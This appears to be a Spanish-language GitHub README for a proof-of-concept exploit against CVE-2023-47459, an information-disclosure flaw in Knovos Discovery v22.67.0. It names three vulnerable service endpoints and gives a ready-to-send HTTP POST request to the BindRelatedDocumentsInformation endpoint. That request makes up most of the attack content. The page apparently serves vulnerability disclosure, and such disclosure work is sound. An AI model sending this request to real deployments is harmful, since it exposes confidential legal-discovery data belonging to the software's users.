aleksey-vi/cve-2023-47459Exploit de prueba de concepto para CVE-2023-47459, una vulnerabilidad de divulgación de información en Knovos Discovery v22.67.0, que demuestra el acceso remoto a datos confidenciales mediante solicitudes HTTP manipuladas.
Se descubrió una vulnerabilidad en Knovos Discovery v.22.67.0 que permite a un atacante remoto acceder a información confidencial utilizando los componentes:
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName, /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation y /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport.
Traza de pila / Divulgación de Información
Knovos Discovery
Versión 22.67.0 - Versión 22.67.0
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport
Remoto
true
true
usuario autorizado
POST /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation HTTP/1.1
Host: vuln_host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Connection: close
{
"Id": id
}